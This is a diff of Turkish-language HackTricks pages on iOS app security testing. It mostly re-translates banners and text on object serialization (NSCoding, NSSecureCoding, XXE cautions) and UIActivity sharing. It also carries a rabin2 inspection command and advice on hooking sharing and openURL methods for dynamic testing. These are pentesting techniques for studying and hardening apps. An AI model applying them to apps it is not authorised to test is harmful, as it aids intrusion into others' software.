* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek** paylaşın.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,16 +1,17 @@
|
|||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* Şirketinizi HackTricks'te **reklamını görmek** veya HackTricks'i **PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# WebView Protokol İşleyicileri
|
||||
|
@ -19,16 +20,17 @@ HackTricks'ı desteklemenin diğer yolları:
|
|||
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* Şirketinizi HackTricks'te **reklamını görmek** veya HackTricks'i **PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,25 +1,26 @@
|
|||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
Kod ve daha fazla bilgi için [https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/#object-persistence](https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/#object-persistence).
|
||||
|
||||
## iOS Geliştirmede Nesne Serileştirme
|
||||
## iOS Geliştirmede Nesne Serileştirmesi
|
||||
|
||||
iOS'te, **nesne serileştirme**, nesnelerin kolayca depolanabilir veya iletilir bir formata dönüştürülmesini ve ihtiyaç duyulduğunda bu formattan yeniden oluşturulmasını içerir. İki ana protokol, **`NSCoding`** ve **`NSSecureCoding`**, Objective-C veya `NSObject` alt sınıfları için bu süreci kolaylaştırır ve nesnelerin, byte tamponlarını saran bir formata olan **`NSData`**'ya serileştirilmesine olanak tanır.
|
||||
iOS'ta, **nesne serileştirmesi**, nesneleri kolayca depolanabilir veya iletilebilir bir formata dönüştürmeyi ve ardından ihtiyaç duyulduğunda bu formattan yeniden inşa etmeyi içerir. İki ana protokol, **`NSCoding`** ve **`NSSecureCoding`**, bu süreci Objective-C veya `NSObject` alt sınıfları için kolaylaştırır ve nesnelerin **`NSData`** formatına serileştirilmesine olanak tanır; bu format, bayt tamponlarını sarar.
|
||||
|
||||
### **`NSCoding`** Uygulaması
|
||||
`NSCoding`'i uygulamak için bir sınıfın `NSObject`'den türetilmesi veya `@objc` olarak işaretlenmesi gerekir. Bu protokol, örnek değişkenlerin kodlanması ve kod çözme için iki yöntemin uygulanmasını zorunlu kılar:
|
||||
`NSCoding`'i uygulamak için bir sınıf `NSObject`'tan miras almalı veya `@objc` olarak işaretlenmelidir. Bu protokol, örnek değişkenlerini kodlamak ve kod çözmek için iki yöntemin uygulanmasını zorunlu kılar:
|
||||
```swift
|
||||
class CustomPoint: NSObject, NSCoding {
|
||||
var x: Double = 0.0
|
||||
|
@ -36,8 +37,8 @@ self.init(x: aDecoder.decodeDouble(forKey: "x"), name: name)
|
|||
}
|
||||
}
|
||||
```
|
||||
### **`NSSecureCoding` ile Güvenliği Artırma**
|
||||
Saldırganların veri enjekte ettiği zafiyetleri azaltmak için **`NSSecureCoding`**, gelişmiş bir protokol sunar. `NSSecureCoding`'i uygulayan sınıflar, çözme işlemi sırasında nesnelerin türünü doğrulamalı ve yalnızca beklenen nesne türlerinin oluşturulmasını sağlamalıdır. Bununla birlikte, `NSSecureCoding` tür güvenliğini artırırken veriyi şifrelemez veya bütünlüğünü sağlamaz, bu nedenle hassas bilgileri korumak için ek önlemler gereklidir:
|
||||
### **Güvenliği `NSSecureCoding` ile Artırma**
|
||||
Saldırganların zaten oluşturulmuş nesnelere veri enjekte etme açıklarını azaltmak için, **`NSSecureCoding`** geliştirilmiş bir protokol sunar. `NSSecureCoding`'e uyan sınıflar, kod çözme sırasında nesnelerin türünü doğrulamalıdır, böylece yalnızca beklenen nesne türlerinin oluşturulması sağlanır. Ancak, `NSSecureCoding` tür güvenliğini artırsa da, veriyi şifrelemez veya bütünlüğünü sağlamaz; bu nedenle hassas bilgilerin korunması için ek önlemler gereklidir:
|
||||
```swift
|
||||
static var supportsSecureCoding: Bool {
|
||||
return true
|
||||
|
@ -45,42 +46,42 @@ return true
|
|||
|
||||
let obj = decoder.decodeObject(of: MyClass.self, forKey: "myKey")
|
||||
```
|
||||
## `NSKeyedArchiver` ile Veri Arşivleme
|
||||
`NSKeyedArchiver` ve karşılığı olan `NSKeyedUnarchiver`, nesneleri bir dosyaya kodlamayı ve daha sonra onları geri almayı sağlar. Bu mekanizma nesnelerin kalıcı hale getirilmesi için kullanışlıdır:
|
||||
## Data Archiving with `NSKeyedArchiver`
|
||||
`NSKeyedArchiver` ve onun karşılığı `NSKeyedUnarchiver`, nesneleri bir dosyaya kodlamayı ve daha sonra geri almayı sağlar. Bu mekanizma, nesneleri kalıcı hale getirmek için faydalıdır:
|
||||
```swift
|
||||
NSKeyedArchiver.archiveRootObject(customPoint, toFile: "/path/to/archive")
|
||||
let customPoint = NSKeyedUnarchiver.unarchiveObjectWithFile("/path/to/archive") as? CustomPoint
|
||||
```
|
||||
### Basitleştirilmiş Serileştirme için `Codable` Kullanımı
|
||||
Swift'in `Codable` protokolü, `Decodable` ve `Encodable`'ı birleştirerek `String`, `Int`, `Double` gibi nesnelerin kodlanması ve kod çözülmesini ekstra çaba gerektirmeden kolaylaştırır:
|
||||
### Using `Codable` for Simplified Serialization
|
||||
Swift'in `Codable` protokolü, `Decodable` ve `Encodable`'ı birleştirerek, `String`, `Int`, `Double` gibi nesnelerin kodlanmasını ve kod çözümlemesini ekstra çaba harcamadan kolaylaştırır:
|
||||
```swift
|
||||
struct CustomPointStruct: Codable {
|
||||
var x: Double
|
||||
var name: String
|
||||
}
|
||||
```
|
||||
Bu yaklaşım, Swift uygulamalarında veri işleme yeteneklerini artırarak, özellik listelerine ve JSON'a doğrudan seri hale getirme ve seri halden geri alma işlemlerini destekler.
|
||||
Bu yaklaşım, Swift uygulamalarında veri yönetimini geliştiren, özellik listelerine ve JSON'a basit serileştirme desteği sağlar.
|
||||
|
||||
## JSON ve XML Kodlama Alternatifleri
|
||||
Yerel desteğin ötesinde, birkaç üçüncü taraf kütüphane JSON ve XML kodlama/çözme yetenekleri sunar. Her birinin performans özellikleri ve güvenlik hususları vardır. Özellikle dış varlık işleme önlemek için ayrıştırıcıları yapılandırarak XXE (XML Dış Varlıklar) saldırıları gibi zafiyetleri azaltmak için bu kütüphaneleri dikkatlice seçmek önemlidir.
|
||||
|
||||
### Güvenlik Hususları
|
||||
Verileri seri hale getirirken, özellikle dosya sistemine, hassas bilgilerin potansiyel olarak dahil edilmesine dikkat etmek önemlidir. Yakalanması veya yanlış şekilde işlenmesi durumunda seri hale getirilmiş veriler, yetkisiz eylemlere veya veri sızıntısına gibi risklere maruz kalabilir. Seri hale getirilmiş verilerin şifrelenmesi ve imzalanması, güvenliği artırmak için önerilir.
|
||||
Yerel desteğin ötesinde, birkaç üçüncü taraf kütüphane JSON ve XML kodlama/çözme yetenekleri sunar; her birinin kendi performans özellikleri ve güvenlik dikkate alması vardır. Bu kütüphanelerin dikkatlice seçilmesi, özellikle dış varlık işleme işlemlerini önlemek için ayrıştırıcıların yapılandırılması yoluyla XXE (XML Dış Varlıklar) saldırıları gibi zayıflıkları azaltmak açısından önemlidir.
|
||||
|
||||
### Güvenlik Dikkate Alınması Gerekenler
|
||||
Veri serileştirirken, özellikle dosya sistemine, hassas bilgilerin potansiyel olarak dahil edilmesi konusunda dikkatli olmak önemlidir. Serileştirilmiş veriler, eğer ele geçirilirse veya yanlış bir şekilde işlenirse, uygulamaları yetkisiz işlemler veya veri sızıntısı gibi risklere maruz bırakabilir. Güvenliği artırmak için serileştirilmiş verilerin şifrelenmesi ve imzalanması önerilir.
|
||||
|
||||
## Referanslar
|
||||
* [https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/#object-persistence](https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/#object-persistence)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>'ı öğrenin!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
HackTricks'i desteklemenin diğer yolları:
|
||||
|
||||
* Şirketinizi HackTricks'te **reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek** paylaşın.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,78 +1,80 @@
|
|||
# iOS UIActivity Paylaşımı
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahramanla öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'i desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek paylaşın**.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** bizi **takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
# UIActivity Paylaşımı Basitleştirildi
|
||||
# UIActivity Paylaşımının Basitleştirilmesi
|
||||
|
||||
iOS 6'dan itibaren, üçüncü taraf uygulamaların metin, URL veya resim gibi verileri paylaşmasına olanak tanınmıştır. Bu özellik, Apple'ın [Uygulama Arası İletişim kılavuzunda](https://developer.apple.com/library/archive/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW3) belirtildiği gibi AirDrop gibi mekanizmalar aracılığıyla gerçekleşir. Bu özellik, "Paylaş" düğmesiyle etkileşime geçildiğinde ortaya çıkan sistem genelinde bir _paylaşım etkinlik sayfası_ ile kendini gösterir.
|
||||
iOS 6'dan itibaren, üçüncü taraf uygulamalar, Apple'ın [Uygulamalar Arası İletişim kılavuzunda](https://developer.apple.com/library/archive/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW3) belirtildiği gibi, AirDrop gibi mekanizmaları kullanarak metin, URL veya resim gibi **veri paylaşma** yeteneğine sahip olmuştur. Bu özellik, "Paylaş" butonuna etkileşimde bulunulduğunda ortaya çıkan sistem genelinde bir _paylaşım etkinliği sayfası_ aracılığıyla kendini gösterir.
|
||||
|
||||
Tüm yerleşik paylaşım seçeneklerinin kapsamlı bir numaralandırması [UIActivity.ActivityType](https://developer.apple.com/documentation/uikit/uiactivity/activitytype) adresinde bulunabilir. Geliştiriciler, uygulamaları için uygun bulmadıkları belirli paylaşım seçeneklerini hariç tutmayı tercih edebilirler.
|
||||
Tüm yerleşik paylaşım seçeneklerinin kapsamlı bir listesi [UIActivity.ActivityType](https://developer.apple.com/documentation/uikit/uiactivity/activitytype) adresinde mevcuttur. Geliştiriciler, uygulamaları için uygun olmadığını düşündükleri belirli paylaşım seçeneklerini hariç tutmayı tercih edebilirler.
|
||||
|
||||
## **Veri Nasıl Paylaşılır**
|
||||
|
||||
Dikkat şu noktalara yönlendirilmelidir:
|
||||
Dikkat edilmesi gerekenler:
|
||||
|
||||
- Paylaşılan verinin doğası.
|
||||
- Paylaşılan verinin niteliği.
|
||||
- Özel etkinliklerin dahil edilmesi.
|
||||
- Belirli etkinlik türlerinin hariç tutulması.
|
||||
|
||||
Paylaşım, paylaşılacak öğelerin geçirildiği bir `UIActivityViewController` örnekleme ile kolaylaştırılır. Bunun için aşağıdaki çağrı yapılır:
|
||||
Paylaşım, paylaşılacak öğelerin geçirildiği bir `UIActivityViewController` örneği oluşturularak kolaylaştırılır. Bu, şu şekilde çağrılarak gerçekleştirilir:
|
||||
```bash
|
||||
$ rabin2 -zq Telegram\ X.app/Telegram\ X | grep -i activityItems
|
||||
0x1000df034 45 44 initWithActivityItems:applicationActivities:
|
||||
```
|
||||
Geliştiriciler, `UIActivityViewController`'ı incelemeli ve başlatıldığı aktiviteleri ve özel aktiviteleri, ayrıca belirtilen `excludedActivityTypes`'ı dikkatlice kontrol etmelidir.
|
||||
Geliştiriciler, `UIActivityViewController`'ı başlatıldığı aktiviteler ve özel aktiviteler için dikkatlice incelemeli, ayrıca belirtilen `excludedActivityTypes`'ı da göz önünde bulundurmalıdır.
|
||||
|
||||
## **Veri Alma Nasıl Yapılır**
|
||||
## **Veri Alma Yöntemi**
|
||||
|
||||
Veri alırken aşağıdaki unsurlar önemlidir:
|
||||
Veri alırken aşağıdaki unsurlar kritik öneme sahiptir:
|
||||
|
||||
- **Özel belge türlerinin** bildirimi.
|
||||
- Uygulamanın açabileceği **belge türlerinin belirtilmesi**.
|
||||
- Alınan verinin **bütünlüğünün doğrulanması**.
|
||||
- **özel belge türlerinin** beyanı.
|
||||
- Uygulamanın açabileceği **belge türlerinin** belirtilmesi.
|
||||
- **alınan verilerin bütünlüğünün** doğrulanması.
|
||||
|
||||
Kaynak koduna erişim olmadan, bir uygulamanın hangi belge türlerini işleyebileceğini ve bildirebileceğini anlamak için `Info.plist` dosyası incelenebilir. `UTExportedTypeDeclarations`, `UTImportedTypeDeclarations` ve `CFBundleDocumentTypes` gibi anahtarlar bu tür belgelerin tanımlanması ve sistem genelinde tanınması için UTI'ların tanımlanmasının ve uygulamanızın "Aç ile" iletişim kutusuna entegre edilmesinin önemini vurgulamaktadır.
|
||||
Kaynak koduna erişim olmadan, `Info.plist` dosyasında `UTExportedTypeDeclarations`, `UTImportedTypeDeclarations` ve `CFBundleDocumentTypes` gibi anahtarları inceleyerek bir uygulamanın işleyebileceği ve beyan edebileceği belge türlerini anlamak mümkündür.
|
||||
|
||||
Bu anahtarlar hakkında özlü bir kılavuz [Stackoverflow](https://stackoverflow.com/questions/21937978/what-are-utimportedtypedeclarations-and-utexportedtypedeclarations-used-for-on-i) üzerinde mevcuttur.
|
||||
Bu anahtarlar hakkında kısa bir rehber [Stackoverflow](https://stackoverflow.com/questions/21937978/what-are-utimportedtypedeclarations-and-utexportedtypedeclarations-used-for-on-i) üzerinde mevcuttur ve sistem genelinde tanınma için UTIs tanımlamanın ve içe aktarmanın önemini vurgular, ayrıca belge türlerini uygulamanızla ilişkilendirerek "Aç" diyalogunda entegrasyon sağlar.
|
||||
|
||||
## Dinamik Test Yaklaşımı
|
||||
|
||||
**Aktiviteleri göndermek** için şunlar yapılabilir:
|
||||
**gönderme aktivitelerini** test etmek için:
|
||||
|
||||
- Paylaşılan öğeleri ve paylaşılan aktiviteleri yakalamak için `init(activityItems:applicationActivities:)` yöntemine bağlanmak.
|
||||
- `excludedActivityTypes` özelliğini engelleyen aktiviteleri yakalamak için `excludedActivityTypes` özelliğini engelleyen aktiviteleri yakalamak.
|
||||
- Paylaşılan öğeleri ve aktiviteleri yakalamak için `init(activityItems:applicationActivities:)` yöntemine hook atılabilir.
|
||||
- `excludedActivityTypes` özelliğini keserek hariç tutulan aktiviteleri belirlemek mümkündür.
|
||||
|
||||
**Öğeleri almak** için şunlar yapılmalıdır:
|
||||
**öğeleri alma** süreci ise:
|
||||
|
||||
- Başka bir kaynaktan (örneğin, AirDrop, e-posta) uygulamayla bir dosya paylaşmak ve "Aç ile..." iletişim kutusunu tetiklemek.
|
||||
- Uygulamanın yanıtını gözlemlemek için statik analiz sırasında belirlenen diğer yöntemler arasında `application:openURL:options:` yöntemine bağlanmak.
|
||||
- Uygulamanın sağlamlığını değerlendirmek için hatalı dosyalar veya fuzzing teknikleri kullanmak.
|
||||
- "Aç..." diyalogunu tetikleyen başka bir kaynaktan (örneğin, AirDrop, e-posta) uygulama ile bir dosya paylaşmayı içerir.
|
||||
- Uygulamanın yanıtını gözlemlemek için statik analiz sırasında belirlenen diğer yöntemler arasında `application:openURL:options:` yöntemine hook atmak.
|
||||
- Uygulamanın dayanıklılığını değerlendirmek için hatalı dosyalar veya fuzzing teknikleri kullanmak.
|
||||
|
||||
## Referanslar
|
||||
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
HackTricks'i desteklemenin diğer yolları:
|
||||
|
||||
* Şirketinizi HackTricks'te **reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u takip edin.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek paylaşın.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
